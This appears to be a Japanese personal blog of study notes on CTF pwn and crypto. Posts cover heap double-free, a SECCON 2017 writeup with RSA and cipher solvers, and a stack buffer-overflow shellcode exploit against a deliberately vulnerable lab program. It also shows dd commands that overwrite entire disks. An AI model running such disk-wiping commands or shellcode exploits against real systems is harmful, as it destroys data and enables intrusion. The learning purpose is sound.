hiziriAI’s blog

自分用雑記

ddでディスク消去メモ

HDDのディスク消去したときのメモ。

fdisk -lで現在認識されているディスク一覧が確認できる。

内容をちゃんと消去するには0で上書きするのがいい。

dd if=/dev/zero of=/dev/sdX bs=4096

普通はこれで十分。

ランダムデータを書き込むとさらに復元が困難になる。

dd if=/dev/urandom of=/dev/sdX bs=4096

ddはデータのコピーとかにも使えるし便利。

Heap exploitationのお勉強メモ1

heap知らなさすぎてナウなpwnが解けないので少しずつやり始めました。 mallocとfreeのアルゴリズムここでお勉強した。

攻撃方法はshellphishのhow2heapでお勉強してる。 PoCプログラムに混じって置いてあるmalloc_playgroudが最高に良い。 全ての機能は使えてないけど、対話的にmalloc、freeして返されるアドレスを見れるのでfastbinとかsmallbinとかの挙動を実際に動かして確認できる。 PoCプログラムも説明がきちんとされているので分かりやすいし、その上参考になる過去のCTFの問題のリンクまで貼ってくれている。 至れり尽せりって感じ。

その中でfastbin_dupのお勉強をしたのでそのメモ。

fastbin dup

サンプルとしてshellphish/how2heapのソースを最低限まで削ったものを使わせてもらう。

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *a = malloc(8);
    int *b = malloc(8);

    free(a);
    // free(a);
    free(b);
    free(a);

    malloc(8); // a
    malloc(8); // b
    malloc(8); // a!
}

double-freeができる必要があるはず、そしてfastbinでないとできないので、ある程度小さい領域がmallocできないといけない。 これをすると、mallocしたときに同じ領域を2回返させることができるようになる。

手順は、まず2回mallocしてfastbinのサイズの領域(64bit環境だと128バイトまで?)を2つ取得する。 同じサイズじゃないと同じbinsに繋がれないので、8バイトに揃えてる。 最初の領域がa、2回目の領域がbとする。

次にa -> b -> aの順番でfreeする、a -> aとやっちゃうとdouble-freeが検出されてプログラムが強制終了させられる。 この時点でfree済のfastbinとして[head] -> a -> b -> aって感じにaが2回登録されることになる。

ここでさっきと同じサイズ(8バイト)をmallocすると、無駄にheap領域を使わないようにfreeされて使わなくなった領域を使い回そうとする。 FILOになっているのでfreeした順とは逆順になってmallocで返されるけど、double-freeで2回登録してしまったので2回同じアドレスが返されることになる。

ちなみにsmall binやlarge binではdouble-freeはしっかり検出されるので同じようにやってもできない。

0CTF babyheap

例題として挙げられていた問題。 mallocとfreeと文字列の入力と内容のダンプが自由にできるようになっていて、脆弱性を探す必要がないので練習にはもってこいだった。

あとでwriteupする。

リンクされるlibcのメモ

pwnしてるときに知ったので簡単にメモ。

プログラムにlibc.so.6がリンクされるとき、ASLRによってランダム化されるのは7バイト分で、下3バイトは000で固定、上6バイトは0x00007fで固定になる。

リンクされたときのlibcのベースアドレスはlddコマンドで知ることができる。 何回か実行するとベースアドレスがランダム化されているのが分かる。

追記

lddはどうも正しい値を返さないらしい。 この記事によると環境変数LD_TRACE_LOADED_OBJECTSによって結果が変わる。

ASLRをオフにして実験してみた、実際はfish shellでやったけどbash記法で書く。

$ LD_TRACE_LOADED_OBJECTS=1 ldd some_program
linux-vdso.so.1 =>  (0x00007ffff7ffa000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ffff7bae000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff79aa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff75e0000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)
$ ldd some_program
linux-vdso.so.1 =>  (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780a000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)

結果はこんな感じになった。出力されるものが1つ増えているけど、実際にはどの値も間違っていた。 間違っているというか、pwnでret2libcできなかった。

解決策

gdb-pedaを使えば正しい方の値が手に入る。 一度プログラムを実行させてメモリにロードしてからvmmap libcするとロードされたlibcの位置が分かる、一番最初のアドレスがベースアドレスになる。

例えば、以下の例の場合だとベースアドレスは0x7ffff7a0d000になる。少なくともret2libcはできるベースアドレスだった。

$ vmmap libc
Start              End                Perm  Name
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so

ちなみにASLRが有効でもgdb環境下ではオフにされるので注意。

今度もっと詳しく調べてみよう。

Live USBでブートできなかったときのためのメモ

タイトル通り、USBでブートしようとしたらできなかったのでその解決方法。

古いPCにUSBブートでxubuntu入れようとしたらmissing operating systemの表示が出てブートできなかった。色々調べた結果、UNetBootinだとUSBにbootフラグが立たないときがあるらしい。

解決するにはGPartedかなにかでbootフラグを立ててやるだけでいい。 これでブートできた。

opensslでファイル暗号化

みんな見られたくない画像とか一杯ストレージにあるよな? そういうわけでopensslを使ってファイルを暗号化する方法をメモ。 自分一人が暗号化、復号化できればそれでいいので共通鍵方式のAESを使って暗号化する。速度的にRSAを使うより多分速いだろうし。

暗号化

openssl enc -e -aes-256-cbc -in secret.jpg -out secret.enc

パスワードだけ設定しなければならないので入力しよう、一応ファイルの先頭行なんかをパスワードとして渡せる-kfileなんかもあるがパスをどこかに書き込むのは抵抗ある。 パスを忘れたらまず復号できないので絶対に忘れないようにしよう。量子コンピュータとか完成したら復号できるかもな。 これでsecret.jpgは暗号化される、元のファイルは残ってしまうのでshredかなにかで削除しよう。 とはいえ、最近のファイルシステムじゃジャーナリングとかで残っちゃうらしい。その辺面白そうだしforenっぽいので調べてみたい。TODOリストの100個目くらいに追加しておこう。

opensslはサブコマンドとそのオプションを取るようになっている。 encは共通鍵のアルゴリズムで暗号化、復号化するらしい。

-eが暗号化の指定になる。

今回の例では-aes-256-cbcでAESの256bitを使ったが128bitもある、特に理由がなければbit長は長い方がいい。 最後のcbcは暗号化のモードで、これは直前のブロックも使って暗号化する方式になる。 よく推奨されるモードはcbcとctr、逆にecbは解読されやすいので絶対に使ってはいけない。 ちなみに復号するときも同じ方式じゃないといけないので注意。 他にはDESとかもあるけどAESが一番無難だし、十分な強度がある。 DESは鍵長が短すぎるので必要がない限り使うべきじゃない。 他のアルゴリズムも調べると面白そう。

-in-out入力と出力先の指定になる。 指定しないと標準入出力になるらしい、stdoutとstdinで指定しても標準入出力になる。

復号化

openssl enc -d -aes-256-cbc -in secret.enc -out decrypt.jpg

復号するには入力を暗号化されたファイルにして、-e-dに替えるだけでいい。

RSA

単にファイルを暗号化したいだけなら必要ないが、公開鍵方式で暗号化することもできる。

openssl genrsa -aes256 -out rsa.pem
openssl rsa -pubout -in rsa.pem -out rsa.pub.pem
openssl rsautl -encrypt -pubin -inkey rsa.pub.pem -in secret.jpg -out secret.enc
openssl rsautl -decrypt -inkey rsa.pem -in secret.enc -out decrypt.jpg

上から、AES256bitで暗号化された秘密鍵の生成、公開鍵の作成、暗号化、復号化の処理になる。 復号できる人と暗号化できる人を分けたいときとか、何度もパス入力するのめんどいときなんかにはこっちの方が使いやすいかもしれない。

SECCON CTF 2017 Quals writeup

チームで参加できたのでたくさん解けた。 僕が解いたのはputchar_music, vigenere3d, ps_and_qsの3つ。 チームは200位くらい。

コードはここ

putchar music

映画のタイトル当てろという問題。 TLにこの時点で分かってる人いて笑った。

Cのワンライナーが降ってくるので取り敢えずコンパイルmath.hがいるっぽいのでリンクすれば警告は出るがちゃんと動くプログラムが出力される。 実行すると無限ループしてバイナリを吐き出す。

タイトルにmusicとあるので、おそらく生の音声データか何かだろうと当たりを付けた。 linuxで実行できるとあったので多分コマンドラインで標準入力から音声データ受け付けるようなプレイヤーがあるんだろうなと決めつけて調べた。 すると、どうもplayaplayがあるらしいことが分かった。 とりあえずaplayの方にパイプしてみると、8bitっぽい音楽が流れはじめた。

これで解ける!と思いきや、ここで問題発生。 映画のタイトルがまったく分からない! 音楽のタイトルを調べてくれるサービスなんかも当たってみたが音が劣化してるのでヒットしない。 これはもうどうしようもないと思ってしばらくBGMにして流してた。 知ってそうなメンバーとありそうな候補話してるうちに正解を思い出した。 というわけで解けました。

こういう問題どうかと思います!(スターウォーズ見てない人)

vigenere3d

ウ゛ィジュネル暗号の置換表をさらにもう1次元拡張して用いるようになってる暗号化スクリプトが降ってくる。 スクリプト中に置換表生成部分が残っている。 また、暗号化するのに使う鍵が2つあるが、どうも1つの鍵を逆順にして用いてるらしい。 1つの鍵を使い回すのは大抵の場合よろしくない。

こういう換字式暗号は平文の一部が分かっていると対応する鍵が特定できたりする。 この暗号もそんな感じになっていて、平文か鍵のうちどちらかが特定できると、対応する暗号文の文字になるような平文の文字と鍵の文字の組み合せが特定できる(はず)。 正確に元の鍵とは一致しないけど違う鍵でも同じように復号されるようになるはずなので問題ないんじゃあないかな。

そして、平文の先頭は"SECCON{"になっていて、2つ目の鍵には1つ目の鍵が逆順になっているものが使われるので、鍵の先頭と末尾の7文字が特定可能になっていることになる。 そして伏せ字の数からして鍵の長さは14、つまり全部分かる。

解読用スクリプトはこれ。

import sys


def _l(idx, s):
    return s[idx:] + s[:idx]


s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [ [_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))]

cipher = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9"
k1_len = 14
k2_len = 14


# first seven chars is SECCON{, so I can decrypto key's first seven and last seven.

s.find('S')


def specify_key(plain_char, cipher_char):
    table = t[s.find(plain_char)]

    for i in range(len(s)):
        for j in range(len(s)):
            if table[i][j] == cipher_char:
                return (i, j)


def get_key():
    p = 'SECCON{'
    c = cipher[:7]
    former = ''
    latter = ''

    for p_ch, c_ch in zip(p, c):
        f_i, l_i = specify_key(p_ch, c_ch)
        former += s[f_i]
        latter += s[l_i]

    return (former, latter)

def decrypto(cipher, key):
    k1 = key
    k2 = key[::-1]
    i1 = 0
    i2 = 0
    plain = ''

    for a in cipher:
        for index, table in enumerate(t):
            if table[s.find(k1[i1])][s.find(k2[i2])] == a:
                plain += s[index]
                break
        i1 = (i1 + 1) % len(k1)
        i2 = (i2 + 1) % len(k2)

    return plain

key = 'AAAAAAA_aZ2PK_'
# gocha! 'SECCON{Welc0me_to_SECCON_CTF_2017}'

PS and QS

RSA問題。

降ってくるのはpemファイルだったのでopenssl使って表示させた。 使い方憶えないとなぁ。

この時点で異なる公開鍵2つと暗号文1つが手に入る。 nは4096bitで単純に素因数分解はできそうになく、eは共通でよくある値(0x10001)だった。

この時点で出来そうな攻撃というとgcdかな?と思い試してみることにした。 2つのnが同じ素数を使っていた場合はこれで特定できる。 gcdはかなり効率が良いアルゴリズムがあって、大抵の実装はこのアルゴリズムなのでお手持ちの言語でgcdしてみる。 するとどうやら素数を使い回してるらしかった。

あとは単純な整数の割り算で他の素数も算出でき、2つの素数とeがあれば秘密鍵dを計算できる。 この計算はmodの逆元計算になるので、拡張gcdかなにかのアルゴリズムで解ける。 pythonならgmpyか何かに実装されている。

これで秘密鍵が分かったので、復号するだけである。 復号してみると、片方では最後の方にフラグが表示されていた。 解けた。

しかしこれ見落とすだろう、もう少し解けたことが分かりやすくならんかね。 フラグも適当に入れたら取れちゃいました!ってどこかのチームがやってそうなフラグだったし。

使ったスクリプトは以下。

(defparameter n1 #x00cfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd)

(defparameter n2 #xBB33CC7FCC8ECAF3BF9ED95C583792E1EC6B80EE875EC2064DBCF07595C8344923BF536524D4E0A75574C7798C73B197DD2B1B42054B1E49CB45FBF04E6F114CF8A365C3DF3645524F778268038A3FA26802E9D1EDBFBB5EDFB5A0C375370D7F10F57DABBD4F771DAD3632F01B9BCE10489966EE882DAB17A33B786AA5F73165A54051300B1DF9280392A3EDE9D3FC9C4D8A6A06351F6EF3598E8DE2B39D3B19AF64A1716CD15826C3F24CB13DEB722C3A03EF1D2BE2D0A5A6E210FF5D018367BE3BF99EA26BA006E5164A4DD55AABCD449DE5CE1864825DC160E50D509EB0E6FE723EF182681EDDB94084B83EC9E2E943E87CB87509AB0FD9B1CA22C1CEAFF39FCACF6729FC0E0578670D87D7F0F9CCBE09CB3E12CEB895572A9979D10BFDBFAFA260568D8DB184BE12B3E3193E07729CE3C1D9CD8283ED6983A06388036A0A70294F23392944778280E7DE9F60163A8150E30FF4A4EA02792CBE8305BAA2E99AFE51E17DAFC56BE0D384147BCD38E9D12934EC712622217773A4B3851A9B0C6C7C3E01F6111A1E1A557F4E2AE4A247CE9B75CCCCB1819825F3054AA1C055BD3E2340093AE2EF1D0FA5A176825EFDF79507027F5104080009142F0D43E2F10CFAD220813BBB9014D4F4325EDAC538FB5E82B753E2AD3B24607D7380AA64FCB98B59EA8B5A736B809383248CECE0B17255EA559E90127F778AF6D7E8A66DAD91)

(defparameter e #x10001)

(require 'sb-mpfr) ;; FIX:
(ql:quickload :hackrsa)

(defparameter p (hackrsa:gcd-attack n1 n2))

(defparameter q1 (/ n1 p))
(defparameter q2 (/ n2 p))

(defparameter d1 (hackrsa:private-key e p q1))
(defparameter d2 (hackrsa:private-key e p q2))

(defparameter cipher (with-open-file (in "cipher"
                     :element-type '(unsigned-byte 8))
               (let ((dec 0))
             (loop for b = (read-byte in nil nil)
                   if b
                 do (setf dec (+ (* dec (expt 2 8)) b))
                   else
                 do (return dec)))))

(defparameter p1 (hackrsa:decrypto cipher d1 n1))
(defparameter p2 (hackrsa:decrypto cipher d2 n2))

(print (hackrsa:decode-string p1))
(print (hackrsa:decode-string p2))

n1の方がフラグのある平文になる。

感想

pwn厳しい。

チームでやると盛り上るし、余裕もできるから楽しい。 ただ、カバーするやや範囲が被ってるために解けないジャンルが...

pwn基礎 バッファオーバーフロー3

前回の続き。

今度は関数を呼び出すのではなく自分で実行するべき命令を用意し、バッファオーバーフローを利用してその命令を実行する。 使ってるコードはココ

crackme

攻撃対象のコードはこれ。

// sudo sysctl -w kernel.randomize_va_space=0

#include <stdio.h>
#include <string.h>

void vuln_func(char** argv) {
  char buf[100] = {};  /* set all bytes to zero */
  
  printf("buf = %p\n", buf);
  strcpy(buf, argv[1]);
  puts(buf);
  
  return;
}

int main(int argc, char *argv[])
{
  vuln_func(argv);

  return 0;
}

コンパイルgcc -m32 -z execstack -fno-stack-protector -o overflow overflow.c

実行時に渡される引数をバッファにコピーして表示するプログラム。 解析する手間を省くため、バッファのアドレスを表示するようにしている。 ASLRなし、スタック実行可能なイージーモードでやる。

知っておくべきこと

マシンコード

マシンコードとは、コンピュータに命令することができる、あるいはするためのバイト列。 この世に存在する全てのプログラムは最終的にマシンコードとしてプロセッサによって実行される(はず)。 0と1の世界、コンパイルした実行ファイルの中身。

アーキテクチャによってどんなマシンコードなのかは違うので、x64をARMで実行したりは基本的にはできない。 とりあえずコンピュータによって直接実行されるのはマシンコードであるということを知っていれば十分だと思う。

pwnでプログラムを解析するときはマシンコードを逆アセンブルして、アセンブリコードを読むことになる。 アセンブリコードはマシンコードとおよそ一対一で対応している、人間の読める言葉で表現された命令だといえる。 pwnでは大抵はx86かx64のプログラムが降ってくるので、とりあえずx86系について分かるようになれば大半の問題に取り組むことができるようになる。 大量にある命令を全部知っておく必要はなく、頻出のいくつかの命令だけを憶えておいて、知らない命令はその都度検索するぐらいで十分である。 どちらかというと慣れの方が大事な気がする。 逆アセンブルには、radare2とかIDAとかobjdumpとかのツールが有名。 IDAは金払わないとx64の解析ができないけど、この中で一番性能がいいんじゃないかな。

shellcode

これまでバッファオーバーフローでeipを書き換えたりメモリ上の値を変えたりしてきた。 今回はマシンコードの命令を直接送りこみ、それを実行させて、シェルを起動する。 このようなシェルを起動するようなデータ列のことをシェルコードとよぶ。 実際は、脆弱性を突いて何か処理をさせる目的で送りこむデータ列のことを(シェルを起動させなくても)シェルコードといったりする。

exploit

exploitはこんな感じ。

# no ASLR
# no canary

from pwn import *

context(arch='i386', os='linux')

buf_addr = 0xffffcb9c # buf addr
offset = 112
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += "A" * (offset - len(shellcode))
payload += p32(buf_addr)

print(payload)

ここではシェルコードを書くことよりも実際に送信したデータを実行できることが分かればいいかなと思って、pwntoolsに収録されてるシェルを起動するシェルコードをそのまま使わせてもらった。 shellcraft.sh()'は文字列なので、どのような命令なのか知りたければ出力すれば見れる。 asm()`でアセンブルして、文字列の先頭に配置している。 リターンアドレスを書き換えるオフセットは前回の要領で、バッファのアドレスは一度実行してみて調べよう。 コマンドライン引数はスタックの最初の方で積まれるため、引数として渡す文字列の長さによって変わるので注意。 これでシェルを起動できる。